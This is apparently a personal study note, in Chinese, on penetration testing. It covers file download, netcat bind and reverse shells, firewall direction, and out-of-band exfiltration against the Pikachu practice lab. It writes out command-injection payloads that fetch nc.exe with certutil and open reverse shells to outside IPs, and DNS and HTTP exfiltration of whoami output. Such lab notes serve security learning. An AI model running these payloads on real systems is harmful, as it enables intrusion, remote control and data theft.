常规基本渗透详解
1:文件上传下载-解决无图形化&解决数据传输
Linux:wget curl python ruby perl java等下载命令
Windows:powershell citsadmin msiexec等下载命令
2:反弹Shell命令-解决数据回显&解决数据通讯
3:防火墙绕过- 正向连接&反向连接&内网服务器
正向连接:我主动连接,对方本地监听(只要是主动出去的都是正向)
反向连接:对方主动给出去,我本地监听(找内网,只能反向)
Linux控制Windows:
Windows:把cmd放到5566端口:nc -e cmd -lvp 5566
Linux:主动连接对方5566端口:ncat 1.1.1.1 5566
Windows:主动把cmd放到对方5566端口:nc -e cmd 1.1.1.1 5566
Linux:监听5566连接:ncat -lvp 5566
Windows控制Linux
Windows:主动连接对方5566端口:nc 1.1.1.1 5566
Linux:把SH放到5566端口:ncat -e /bin/sh -lvp 5566
Windows:监听5566端口:nc -lvp 5566
Linux:主动把SH放到对方5566端口:ncat -e /bin/sh 1.1.1.1 5566
应用环境在于内网环境
例如要控制内网的某一台机器的权限,内网的机器需要主动出来(因为由于互联网的IP的唯一性,内网机器都是统一使用一个IP出去的。)
不管是谁控制谁,都需要内网主动出来
Windows管道符:
| (将左边命令的输出作为右边命令的输入)
&(执行左边的命令,然后执行右边的命令,不考虑左边命令的成功或失败)
||(只有当左边的命令失败执行后,才会执行右边的命令)
&&(只有当左边的命令成功执行后,才会执行右边的命令)
Linux管道符:
; (执行左边的命令,然后执行右边的命令,不考虑左边命令的成功或失败)
| (将一个命令的输出作为另一个命令的输入)
|| (只有当左边的命令失败执行后,才会执行右边的命令。)
& (在后台执行命令,不会阻塞当前的 shell)
&& (只有当左边的命令成功执行后,才会执行右边的命令)
``(命令替换。执行括在其中的命令,并将其输出替换到原位置)
Pikachu靶场ping命令漏洞
判断系统,admin是Windows,root是Liunx
1
ping 127.0.0.1 | whoami # 来判断
返回了izy05lwempmv08z\administrator,所以是Windows
Windows没有自带的nc
需要使用到自己的nc下载地址,反弹Shell命令生成,让对方下载让他从我的地址下载nc到c盘
输入我的nc下载地址,执行成一条命令1
127.0.0.1 | certutil.exe -urlcache -split -f http://1.1.1.1:80/nc.exe c:\\nc.exe
nc下载成功,反弹,以下两种都可执行
1
2
3
4
5127.0.0.1 | c:\\nc.exe -e cmd -lvp 5566
ncat 1.1.1.1 5566
127.0.0.1 | c:\\nc -e cmd 1.1.1.1 5566
ncat -lvp 5566
Windows服务器防火墙策略:
入站检测严格,出站检测轻松
别人开启防火墙5566入站策略,就只能主动出去
1 | nc -e cmd 8.208.24.66 5566 |
开启防火墙5566出站策略,就只能等别人主动进来
1 | nc -e cmd -lvvp 5566 |
4:已知有漏洞数据不回显-带外查询 Dig
已知有漏洞,解决数据不回显问题:
- 使用反弹shell(在目标系统上执行命令,将交互式shell返弹给我,可以让我继续在目标系统上执行命令并接收输出)
- 带外查询(带外查询可绕过防火墙,无回显问题,就使用Dig网站查看带外的数据)
Pikachu靶场ping命令,数据不回显问题
Linux使用带外查询网站:
1 | ping \`whoami`.e1ea9aba04.ipv6.1433.eu.org. |
可以带外出whoami命令 (
这种写法,只有在Linux有效,Windows不支持)
Windows使用带外查询网站
先尝试ping一下,能否执行命令
Windows服务器是不识别``的,cmd不支持赋值变量,但是PowerShell可以
用PowerShell赋值whoami,然后使用带外网站,再赋值网址,把数据带出来
但是由于Windows系统,结果带有“\” 导致ping无法执行
需要replace “\” 为字母或其他来分割带外出来的数据
最后就可以结果带出来了,ping到带外网站就可以直接带出Windows的数据了
并且ping命令能够绕过防火墙
1 | $x=whoami |
总结
命令&反弹&带外:
基础命令:Linux,Win-cmd,Win-powershell
文件下载:在线命令生成,系统分类Linux:wget curl pytho ruby perl java等,Windows:powershell citsadmin msiexec等
反弹Shell:在线命令生成,正向本地监听等待对方连接,反向连接注定给出去对方监听,连接方向应用场景防火墙入站出站策略,内网服务器只能让内网主机主动出去反向连接
数据不回显:利用数据访问外部DNSLOG带出去,接收方式(数据给参数名,服务器接收参数名的值,将值进行处理)
http://你的ip//getdata.php?data=数据
你自己的搭建的http://你的ip//getdata.php,数据=你要带外的信息
写getdata.php接受data后面的数据,数据给参数名
服务器接收参数名的值,将值进行处理
复现:
防火墙测试无法实现,不知道为什么